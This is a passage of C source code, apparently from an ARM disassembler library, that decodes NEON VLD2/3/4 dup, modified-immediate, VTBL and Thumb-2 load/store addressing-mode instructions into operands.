if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
// The fixed offset post-increment encodes Rm == 0xd. The no-writeback
// variant encodes Rm == 0xf. Anything else is a register offset post-
// increment and we need to add the register operand to the instruction.
if (Rm != 0xD && Rm != 0xF &&
!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeVLD2DupInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn, Rm, align, size;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
Rn = fieldFromInstruction_4(Insn, 16, 4);
Rm = fieldFromInstruction_4(Insn, 0, 4);
align = fieldFromInstruction_4(Insn, 4, 1);
size = 1 << fieldFromInstruction_4(Insn, 6, 2);
align *= 2*size;
switch (MCInst_getOpcode(Inst)) {
case ARM_VLD2DUPd16: case ARM_VLD2DUPd32: case ARM_VLD2DUPd8:
case ARM_VLD2DUPd16wb_fixed: case ARM_VLD2DUPd16wb_register:
case ARM_VLD2DUPd32wb_fixed: case ARM_VLD2DUPd32wb_register:
case ARM_VLD2DUPd8wb_fixed: case ARM_VLD2DUPd8wb_register:
if (!Check(&S, DecodeDPairRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VLD2DUPd16x2: case ARM_VLD2DUPd32x2: case ARM_VLD2DUPd8x2:
case ARM_VLD2DUPd16x2wb_fixed: case ARM_VLD2DUPd16x2wb_register:
case ARM_VLD2DUPd32x2wb_fixed: case ARM_VLD2DUPd32x2wb_register:
case ARM_VLD2DUPd8x2wb_fixed: case ARM_VLD2DUPd8x2wb_register:
if (!Check(&S, DecodeDPairSpacedRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
}
if (Rm != 0xF)
MCOperand_CreateImm0(Inst, 0);
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
if (Rm != 0xD && Rm != 0xF) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
}
return S;
}
static DecodeStatus DecodeVLD3DupInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn, Rm, inc;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
Rn = fieldFromInstruction_4(Insn, 16, 4);
Rm = fieldFromInstruction_4(Insn, 0, 4);
inc = fieldFromInstruction_4(Insn, 5, 1) + 1;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+inc)%32, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+2*inc)%32, Address, Decoder)))
return MCDisassembler_Fail;
if (Rm != 0xF) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, 0);
if (Rm == 0xD)
MCOperand_CreateReg0(Inst, 0);
else if (Rm != 0xF) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
}
return S;
}
static DecodeStatus DecodeVLD4DupInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn, Rm, size, inc, align;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
Rn = fieldFromInstruction_4(Insn, 16, 4);
Rm = fieldFromInstruction_4(Insn, 0, 4);
size = fieldFromInstruction_4(Insn, 6, 2);
inc = fieldFromInstruction_4(Insn, 5, 1) + 1;
align = fieldFromInstruction_4(Insn, 4, 1);
if (size == 0x3) {
if (align == 0)
return MCDisassembler_Fail;
align = 16;
} else {
if (size == 2) {
align *= 8;
} else {
size = 1 << size;
align *= 4 * size;
}
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+inc)%32, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+2*inc)%32, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+3*inc)%32, Address, Decoder)))
return MCDisassembler_Fail;
if (Rm != 0xF) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
if (Rm == 0xD)
MCOperand_CreateReg0(Inst, 0);
else if (Rm != 0xF) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
}
return S;
}
static DecodeStatus DecodeNEONModImmInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned imm, Q;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
imm = fieldFromInstruction_4(Insn, 0, 4);
imm |= fieldFromInstruction_4(Insn, 16, 3) << 4;
imm |= fieldFromInstruction_4(Insn, 24, 1) << 7;
imm |= fieldFromInstruction_4(Insn, 8, 4) << 8;
imm |= fieldFromInstruction_4(Insn, 5, 1) << 12;
Q = fieldFromInstruction_4(Insn, 6, 1);
if (Q) {
if (!Check(&S, DecodeQPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
} else {
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
}
MCOperand_CreateImm0(Inst, imm);
switch (MCInst_getOpcode(Inst)) {
case ARM_VORRiv4i16:
case ARM_VORRiv2i32:
case ARM_VBICiv4i16:
case ARM_VBICiv2i32:
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VORRiv8i16:
case ARM_VORRiv4i32:
case ARM_VBICiv8i16:
case ARM_VBICiv4i32:
if (!Check(&S, DecodeQPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
return S;
}
static DecodeStatus DecodeVSHLMaxInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rm, size;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
Rm = fieldFromInstruction_4(Insn, 0, 4);
Rm |= fieldFromInstruction_4(Insn, 5, 1) << 4;
size = fieldFromInstruction_4(Insn, 18, 2);
if (!Check(&S, DecodeQPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, 8 << size);
return S;
}
static DecodeStatus DecodeShiftRight8Imm(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
MCOperand_CreateImm0(Inst, 8 - Val);
return MCDisassembler_Success;
}
static DecodeStatus DecodeShiftRight16Imm(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
MCOperand_CreateImm0(Inst, 16 - Val);
return MCDisassembler_Success;
}
static DecodeStatus DecodeShiftRight32Imm(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
MCOperand_CreateImm0(Inst, 32 - Val);
return MCDisassembler_Success;
}
static DecodeStatus DecodeShiftRight64Imm(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
MCOperand_CreateImm0(Inst, 64 - Val);
return MCDisassembler_Success;
}
static DecodeStatus DecodeTBLInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn, Rm, op;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
Rn = fieldFromInstruction_4(Insn, 16, 4);
Rn |= fieldFromInstruction_4(Insn, 7, 1) << 4;
Rm = fieldFromInstruction_4(Insn, 0, 4);
Rm |= fieldFromInstruction_4(Insn, 5, 1) << 4;
op = fieldFromInstruction_4(Insn, 6, 1);
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (op) {
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail; // Writeback
}
switch (MCInst_getOpcode(Inst)) {
case ARM_VTBL2:
case ARM_VTBX2:
if (!Check(&S, DecodeDPairRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeThumbAddSpecialReg(MCInst *Inst, uint16_t Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned dst = fieldFromInstruction_2(Insn, 8, 3);
unsigned imm = fieldFromInstruction_2(Insn, 0, 8);
if (!Check(&S, DecodetGPRRegisterClass(Inst, dst, Address, Decoder)))
return MCDisassembler_Fail;
switch(MCInst_getOpcode(Inst)) {
default:
return MCDisassembler_Fail;
case ARM_tADR:
break; // tADR does not explicitly represent the PC as an operand.
case ARM_tADDrSPi:
MCOperand_CreateReg0(Inst, ARM_SP);
break;
}
MCOperand_CreateImm0(Inst, imm);
return S;
}
static DecodeStatus DecodeThumbBROperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
MCOperand_CreateImm0(Inst, SignExtend32(Val << 1, 12));
return MCDisassembler_Success;
}
static DecodeStatus DecodeT2BROperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
MCOperand_CreateImm0(Inst, SignExtend32(Val, 21));
return MCDisassembler_Success;
}
static DecodeStatus DecodeThumbCmpBROperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
MCOperand_CreateImm0(Inst, Val << 1);
return MCDisassembler_Success;
}
static DecodeStatus DecodeThumbAddrModeRR(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Val, 0, 3);
unsigned Rm = fieldFromInstruction_4(Val, 3, 3);
if (!Check(&S, DecodetGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodetGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeThumbAddrModeIS(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Val, 0, 3);
unsigned imm = fieldFromInstruction_4(Val, 3, 5);
if (!Check(&S, DecodetGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, imm);
return S;
}
static DecodeStatus DecodeThumbAddrModePC(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
unsigned imm = Val << 2;
MCOperand_CreateImm0(Inst, imm);
//tryAddingPcLoadReferenceComment(Address, (Address & ~2u) + imm + 4, Decoder);
return MCDisassembler_Success;
}
static DecodeStatus DecodeThumbAddrModeSP(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
MCOperand_CreateReg0(Inst, ARM_SP);
MCOperand_CreateImm0(Inst, Val);
return MCDisassembler_Success;
}
static DecodeStatus DecodeT2AddrModeSOReg(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Val, 6, 4);
unsigned Rm = fieldFromInstruction_4(Val, 2, 4);
unsigned imm = fieldFromInstruction_4(Val, 0, 2);
// Thumb stores cannot use PC as dest register.
switch (MCInst_getOpcode(Inst)) {
case ARM_t2STRHs:
case ARM_t2STRBs:
case ARM_t2STRs:
if (Rn == 15)
return MCDisassembler_Fail;
default:
break;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, imm);
return S;
}
static DecodeStatus DecodeT2LoadShift(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned addrmode;
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
if (Rn == 15) {
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDRBs:
MCInst_setOpcode(Inst, ARM_t2LDRBpci);
break;
case ARM_t2LDRHs:
MCInst_setOpcode(Inst, ARM_t2LDRHpci);
break;
case ARM_t2LDRSHs:
MCInst_setOpcode(Inst, ARM_t2LDRSHpci);
break;
case ARM_t2LDRSBs:
MCInst_setOpcode(Inst, ARM_t2LDRSBpci);
break;
case ARM_t2LDRs:
MCInst_setOpcode(Inst, ARM_t2LDRpci);
break;
case ARM_t2PLDs:
MCInst_setOpcode(Inst, ARM_t2PLDpci);
break;
case ARM_t2PLIs:
MCInst_setOpcode(Inst, ARM_t2PLIpci);
break;
default:
return MCDisassembler_Fail;
}
return DecodeT2LoadLabel(Inst, Insn, Address, Decoder);
}
if (Rt == 15) {
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDRSHs:
return MCDisassembler_Fail;
case ARM_t2LDRHs:
// FIXME: this instruction is only available with MP extensions,
// this should be checked first but we don't have access to the
// feature bits here.
MCInst_setOpcode(Inst, ARM_t2PLDWs);
break;
default:
break;
}
}
switch (MCInst_getOpcode(Inst)) {
case ARM_t2PLDs:
case ARM_t2PLDWs:
case ARM_t2PLIs:
break;
default:
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
}
addrmode = fieldFromInstruction_4(Insn, 4, 2);
addrmode |= fieldFromInstruction_4(Insn, 0, 4) << 2;
addrmode |= fieldFromInstruction_4(Insn, 16, 4) << 6;
if (!Check(&S, DecodeT2AddrModeSOReg(Inst, addrmode, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeT2LoadImm8(MCInst *Inst, unsigned Insn,
uint64_t Address, const void* Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned U = fieldFromInstruction_4(Insn, 9, 1);
unsigned imm = fieldFromInstruction_4(Insn, 0, 8);
imm |= (U << 8);
imm |= (Rn << 9);
if (Rn == 15) {
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDRi8:
MCInst_setOpcode(Inst, ARM_t2LDRpci);
break;
case ARM_t2LDRBi8:
MCInst_setOpcode(Inst, ARM_t2LDRBpci);
break;
case ARM_t2LDRSBi8:
MCInst_setOpcode(Inst, ARM_t2LDRSBpci);
break;
case ARM_t2LDRHi8:
MCInst_setOpcode(Inst, ARM_t2LDRHpci);
break;
case ARM_t2LDRSHi8:
MCInst_setOpcode(Inst, ARM_t2LDRSHpci);
break;
case ARM_t2PLDi8:
MCInst_setOpcode(Inst, ARM_t2PLDpci);
break;
case ARM_t2PLIi8:
MCInst_setOpcode(Inst, ARM_t2PLIpci);
break;
default:
return MCDisassembler_Fail;
}
return DecodeT2LoadLabel(Inst, Insn, Address, Decoder);
}
if (Rt == 15) {
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDRSHi8:
return MCDisassembler_Fail;
default:
break;
}
}
switch (MCInst_getOpcode(Inst)) {
case ARM_t2PLDi8:
case ARM_t2PLIi8:
case ARM_t2PLDWi8:
break;
default:
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeT2AddrModeImm8(Inst, imm, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeT2LoadImm12(MCInst *Inst, unsigned Insn,
uint64_t Address, const void* Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned imm = fieldFromInstruction_4(Insn, 0, 12);
imm |= (Rn << 13);
if (Rn == 15) {
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDRi12:
MCInst_setOpcode(Inst, ARM_t2LDRpci);
break;
case ARM_t2LDRHi12:
MCInst_setOpcode(Inst, ARM_t2LDRHpci);
break;
case ARM_t2LDRSHi12:
MCInst_setOpcode(Inst, ARM_t2LDRSHpci);
break;
case ARM_t2LDRBi12:
MCInst_setOpcode(Inst, ARM_t2LDRBpci);
break;
case ARM_t2LDRSBi12:
MCInst_setOpcode(Inst, ARM_t2LDRSBpci);
break;
case ARM_t2PLDi12:
MCInst_setOpcode(Inst, ARM_t2PLDpci);
break;
case ARM_t2PLIi12:
MCInst_setOpcode(Inst, ARM_t2PLIpci);
break;
default:
return MCDisassembler_Fail;
}
return DecodeT2LoadLabel(Inst, Insn, Address, Decoder);
}
if (Rt == 15) {
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDRSHi12:
return MCDisassembler_Fail;
case ARM_t2LDRHi12:
MCInst_setOpcode(Inst, ARM_t2PLDi12);
break;
default:
break;
}
}
switch (MCInst_getOpcode(Inst)) {
case ARM_t2PLDi12:
case ARM_t2PLDWi12:
case ARM_t2PLIi12:
break;
default:
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeT2AddrModeImm12(Inst, imm, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeT2LoadT(MCInst *Inst, unsigned Insn,
uint64_t Address, const void* Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned imm = fieldFromInstruction_4(Insn, 0, 8);
imm |= (Rn << 9);
if (Rn == 15) {
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDRT:
MCInst_setOpcode(Inst, ARM_t2LDRpci);
break;
case ARM_t2LDRBT:
MCInst_setOpcode(Inst, ARM_t2LDRBpci);
break;
case ARM_t2LDRHT:
MCInst_setOpcode(Inst, ARM_t2LDRHpci);
break;
case ARM_t2LDRSBT:
MCInst_setOpcode(Inst, ARM_t2LDRSBpci);
break;
case ARM_t2LDRSHT:
MCInst_setOpcode(Inst, ARM_t2LDRSHpci);
break;
default:
return MCDisassembler_Fail;
}
return DecodeT2LoadLabel(Inst, Insn, Address, Decoder);
}
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeT2AddrModeImm8(Inst, imm, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeT2LoadLabel(MCInst *Inst, unsigned Insn,
uint64_t Address, const void* Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned U = fieldFromInstruction_4(Insn, 23, 1);
int imm = fieldFromInstruction_4(Insn, 0, 12);
if (Rt == 15) {
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDRBpci:
case ARM_t2LDRHpci:
MCInst_setOpcode(Inst, ARM_t2PLDpci);
break;
case ARM_t2LDRSBpci:
MCInst_setOpcode(Inst, ARM_t2PLIpci);
break;
case ARM_t2LDRSHpci:
return MCDisassembler_Fail;
default:
break;
}
}
switch(MCInst_getOpcode(Inst)) {
case ARM_t2PLDpci:
case ARM_t2PLIpci:
break;
default:
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!U) {
// Special case for #-0.
if (imm == 0)
imm = INT32_MIN;
else
imm = -imm;
}
MCOperand_CreateImm0(Inst, imm);
return S;
}
static DecodeStatus DecodeT2Imm8S4(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
if (Val == 0)
MCOperand_CreateImm0(Inst, INT32_MIN);
else {
int imm = Val & 0xFF;
if (!(Val & 0x100)) imm *= -1;
MCOperand_CreateImm0(Inst, imm * 4);
}
return MCDisassembler_Success;
}
static DecodeStatus DecodeT2AddrModeImm8s4(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Val, 9, 4);
unsigned imm = fieldFromInstruction_4(Val, 0, 9);
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeT2Imm8S4(Inst, imm, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeT2AddrModeImm0_1020s4(MCInst *Inst,unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Val, 8, 4);
unsigned imm = fieldFromInstruction_4(Val, 0, 8);
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, imm);
return S;
}
static DecodeStatus DecodeT2Imm8(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
int imm = Val & 0xFF;
if (Val == 0)
imm = INT32_MIN;
else if (!(Val & 0x100))
imm *= -1;
MCOperand_CreateImm0(Inst, imm);
return MCDisassembler_Success;
}
static DecodeStatus DecodeT2AddrModeImm8(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Val, 9, 4);
unsigned imm = fieldFromInstruction_4(Val, 0, 9);
// Thumb stores cannot use PC as dest register.
switch (MCInst_getOpcode(Inst)) {
case ARM_t2STRT:
case ARM_t2STRBT:
case ARM_t2STRHT:
case ARM_t2STRi8:
case ARM_t2STRHi8:
case ARM_t2STRBi8:
if (Rn == 15)
return MCDisassembler_Fail;
break;
default:
break;
}
// Some instructions always use an additive offset.
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDRT:
case ARM_t2LDRBT:
case ARM_t2LDRHT:
case ARM_t2LDRSBT:
case ARM_t2LDRSHT:
case ARM_t2STRT:
case ARM_t2STRBT:
case ARM_t2STRHT:
imm |= 0x100;
break;
default:
break;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeT2Imm8(Inst, imm, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeT2LdStPre(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned load;
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned addr = fieldFromInstruction_4(Insn, 0, 8);
addr |= fieldFromInstruction_4(Insn, 9, 1) << 8;
addr |= Rn << 9;
load = fieldFromInstruction_4(Insn, 20, 1);
if (Rn == 15) {
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDR_PRE:
case ARM_t2LDR_POST:
MCInst_setOpcode(Inst, ARM_t2LDRpci);
break;
case ARM_t2LDRB_PRE:
case ARM_t2LDRB_POST:
MCInst_setOpcode(Inst, ARM_t2LDRBpci);
break;
case ARM_t2LDRH_PRE:
case ARM_t2LDRH_POST:
MCInst_setOpcode(Inst, ARM_t2LDRHpci);
break;
case ARM_t2LDRSB_PRE:
case ARM_t2LDRSB_POST:
if (Rt == 15)
MCInst_setOpcode(Inst, ARM_t2PLIpci);
else
MCInst_setOpcode(Inst, ARM_t2LDRSBpci);
break;
case ARM_t2LDRSH_PRE:
case ARM_t2LDRSH_POST:
MCInst_setOpcode(Inst, ARM_t2LDRSHpci);
break;
default:
return MCDisassembler_Fail;
}
return DecodeT2LoadLabel(Inst, Insn, Address, Decoder);
}
if (!load) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (load) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeT2AddrModeImm8(Inst, addr, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeT2AddrModeImm12(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Val, 13, 4);
unsigned imm = fieldFromInstruction_4(Val, 0, 12);
// Thumb stores cannot use PC as dest register.
switch (MCInst_getOpcode(Inst)) {
case ARM_t2STRi12:
case ARM_t2STRBi12:
case ARM_t2STRHi12:
if (Rn == 15)
return MCDisassembler_Fail;
default:
break;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, imm);
return S;
}
static DecodeStatus DecodeThumbAddSPImm(MCInst *Inst, uint16_t Insn,
uint64_t Address, const void *Decoder)
{
unsigned imm = fieldFromInstruction_2(Insn, 0, 7);
MCOperand_CreateReg0(Inst, ARM_SP);
MCOperand_CreateReg0(Inst, ARM_SP);
MCOperand_CreateImm0(Inst, imm);
return MCDisassembler_Success;
}
static DecodeStatus DecodeThumbAddSPReg(MCInst *Inst, uint16_t Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
if (MCInst_getOpcode(Inst) == ARM_tADDrSP) {
unsigned Rdm = fieldFromInstruction_2(Insn, 0, 3);
Rdm |= fieldFromInstruction_2(Insn, 7, 1) << 3;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rdm, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateReg0(Inst, ARM_SP);
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rdm, Address, Decoder)))
return MCDisassembler_Fail;
} else if (MCInst_getOpcode(Inst) == ARM_tADDspr) {
unsigned Rm = fieldFromInstruction_2(Insn, 3, 4);
MCOperand_CreateReg0(Inst, ARM_SP);
MCOperand_CreateReg0(Inst, ARM_SP);
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
}
return S;
}
static DecodeStatus DecodeThumbCPS(MCInst *Inst, uint16_t Insn,
uint64_t Address, const void *Decoder)
{
unsigned imod = fieldFromInstruction_2(Insn, 4, 1) | 0x2;
unsigned flags = fieldFromInstruction_2(Insn, 0, 3);
MCOperand_CreateImm0(Inst, imod);
MCOperand_CreateImm0(Inst, flags);
return MCDisassembler_Success;
}
static DecodeStatus DecodePostIdxReg(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned add = fieldFromInstruction_4(Insn, 4, 1);
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, add);
return S;
}
static DecodeStatus DecodeThumbBLXOffset(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
// Val is passed in as S:J1:J2:imm10H:imm10L:'0'
// Note only one trailing zero not two. Also the J1 and J2 values are from
// the encoded instruction. So here change to I1 and I2 values via:
// I1 = NOT(J1 EOR S);
// I2 = NOT(J2 EOR S);
// and build the imm32 with two trailing zeros as documented:
// imm32 = SignExtend(S:I1:I2:imm10H:imm10L:'00', 32);
unsigned S = (Val >> 23) & 1;
unsigned J1 = (Val >> 22) & 1;
unsigned J2 = (Val >> 21) & 1;
unsigned I1 = !(J1 ^ S);
unsigned I2 = !(J2 ^ S);
unsigned tmp = (Val & ~0x600000) | (I1 << 22) | (I2 << 21);
int imm32 = SignExtend32(tmp << 1, 25);
MCOperand_CreateImm0(Inst, imm32);
return MCDisassembler_Success;
}
static DecodeStatus DecodeCoprocessor(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
